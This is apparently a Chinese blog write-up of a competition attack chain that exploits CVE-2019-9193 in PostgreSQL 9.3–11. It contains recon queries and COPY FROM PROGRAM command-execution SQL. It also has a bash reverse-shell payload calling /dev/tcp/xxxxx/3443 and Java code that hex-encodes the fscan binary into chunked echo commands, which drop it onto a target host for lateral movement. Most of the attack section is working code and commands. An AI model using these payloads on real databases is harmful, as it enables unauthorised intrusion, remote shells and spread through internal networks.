postgresql提权

前言:这次比赛有用到,这边进行记录,攻击链路是通过重置密码获取账户,然后通过后台找到查询表的功能,发现存在postgrel的语句查询,通过提权进行命令执行,最后通过写入文件来进行上线然后进行横向,比较尴尬的是一开始以为不出网,后面才知道原来是出网的,要不然直接通过bash来反弹了

参考文章:https://blog.csdn.net/m0_71692682/article/details/126882571

CVE-2019-9193

PostgreSQL 是一款关系型数据库。其9.3到11版本中存在一处“特性”,管理员或具有"COPY TO/FROM PROGRAM"权限的用户,可以使用这个特性执行任意命令。

影响版本:9.3-11

PostgreSQL信息搜集

PostgreSQL获取版本信息语句

select version();,安装的postgre的版本是PostgreSQL 9.5beta1 on x86_64-pc-linux-gnu, compiled by gcc (Debian 4.9.2-10) 4.9.2, 64-bit

show server_version;,这边安装的是9.5beta1

select pg_read_file('PG_VERSION', 0, 200);,这个在老版本中还可以通过绝对路径进行读取

SHOW server_version_num;,因为我这边装的是postgres:9.5-beta1,所以这边版本号为90500

SELECT current_setting('server_version_num');,因为我这边装的是postgres:9.5-beta1,所以这边版本号为90500

获取配置信息

下面两个语句都可以用来判断linux还是windows

select setting from pg_settings where name = 'config_file';

select setting from pg_settings where name = 'data_directory';

获取内网IP

select inet_server_addr()

命令执行

drop table if exists cmd_exec;create table cmd_exec(cmd_output text);copy cmd_exec from program 'id';select * from cmd_exec;

如果drop关键字被过滤的话,那么可以直接先创建,后面可以通过truncate table在执行命令之前清除行数据

create table cmd_exec(cmd_output text);copy cmd_exec from program 'id';select * from cmd_exec;

truncate table cmd_exec;copy cmd_exec from program 'id';select * from cmd_exec;

反弹shell

在当前机器出网的情况下,可以通过bash来进行反弹shell,结果如下所示

drop table if exists cmd_exec;create table cmd_exec(cmd_output text);copy cmd_exec from program '/bin/bash -c "/bin/bash -i >& /dev/tcp/xxxxx/3443 0>&1"';

echo命令写二进制文件

在当前机器不出网的情况下,echo命令写二进制文件比较好用,这边来进行写入fscan程序

代码实现如下所示

package com.zpchcbd;

import org.jcp.xml.dsig.internal.dom.Utils;
import org.omg.CORBA.Environment;

import java.io.*;
import java.util.ArrayList;
import java.util.List;
import java.util.logging.Level;
import java.util.logging.Logger;

public class TestMain {

    static String file_path = "C:\\Users\\user\\Desktop\\fscan_amd64";

    public static void main(String[] args) throws IOException {
        char[] chars = "0123456789ABCDEF".toCharArray();
        byte[] bs = readFileToByte(file_path);

        StringBuilder builder = new StringBuilder();

        int bit;
        for (int i = 0; i < bs.length; i++) {
            builder.append("\\x");
            bit = (bs[i] & 0x0f0) >> 4;
            builder.append(chars[bit]);
            bit = bs[i] & 0x0f;
            builder.append(chars[bit]);
        }
        String file_string = builder.toString();
        String write_string = "copy cmd_exec from program '/bin/bash -c ''echo -e -n \"dddddd\" >> /tmp/fscan''';";
        StringBuilder tmp_string = new StringBuilder();
        int count = 0;
        int i = 0;

//        FileOutputStream fileOutputStream = new FileOutputStream(new File("result.txt"));
        FileWriter fileWriter = new FileWriter("result.txt");
        while (i<file_string.length()){
            tmp_string.append(file_string, i, i + 4);
            if (count % 24264 == 0 && count != 0)
            {
                fileWriter.write(write_string.replace("dddddd", tmp_string.toString())+"\n");
                tmp_string = new StringBuilder();
            }
            count++;

            i += 4;
        }

        fileWriter.write(write_string.replace("dddddd", tmp_string.toString()));
        fileWriter.close();

    }


    public static byte[] readFileToByte(String filepath) {
        BufferedInputStream in;
        byte[] bytes = null;

        try {
            in = new BufferedInputStream(new FileInputStream(filepath));
            ByteArrayOutputStream out = new ByteArrayOutputStream(1024);

            byte[] temp = new byte[1024];
            int size = 0;
            while ((size = in.read(temp)) != -1) {
                out.write(temp, 0, size);
            }
            in.close();
            bytes = out.toByteArray();
        } catch (FileNotFoundException ex) {
            Logger.getLogger(Utils.class.getName()).log(Level.SEVERE, null, ex);
        } catch (IOException ex) {
            Logger.getLogger(Utils.class.getName()).log(Level.SEVERE, null, ex);
        }

        return bytes;

    }
}

将上面生成的字符串复制到数据库窗口中执行即可,这边来进行测试

COPY cmd_exec FROM PROGRAM '/bin/bash -c ''echo -e -n "\x12\x34\x56\x78" >> /tmp/fscan''';

最终结果在postgre服务器中写入执行,结果如下所示

posted @ 2023-03-25 18:39  zpchcbd  阅读(433)  评论(0编辑  收藏  举报